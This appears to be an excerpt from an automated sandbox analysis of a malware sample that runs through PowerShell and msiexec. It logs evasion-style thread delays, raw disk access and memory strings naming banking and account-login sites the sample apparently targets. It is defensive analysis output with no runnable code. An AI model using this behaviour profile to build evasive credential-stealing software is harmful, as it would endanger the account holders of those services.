Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598795	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598685	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598576	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598463	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597035	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596264	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596045	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595897	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595777	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595650	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595541	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595313	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594750	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594640	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594531	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7502	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2329	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6916	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2846	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6908	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6324	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7140	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -30437127721620741s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5532	Thread sleep count: 1683 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5532	Thread sleep count: 8170 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -598795s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -598685s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -598576s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -598463s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -598250s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -598140s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -598031s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -597922s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -597812s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -597703s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -597594s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -597484s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -597375s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -597265s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -597156s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -597035s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -596922s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -596812s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -596703s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -596594s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -596484s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -596375s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -596264s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -596156s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -596045s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -595897s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -595777s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -595650s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -595541s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -595437s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -595313s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -595187s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -595078s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -594968s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -594859s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -594750s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -594640s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 352	Thread sleep time: -594531s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598795	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598685	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598576	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598463	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597035	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596264	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596045	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595897	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595777	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595650	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595541	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595313	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594750	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594640	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594531	Jump to behavior

Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
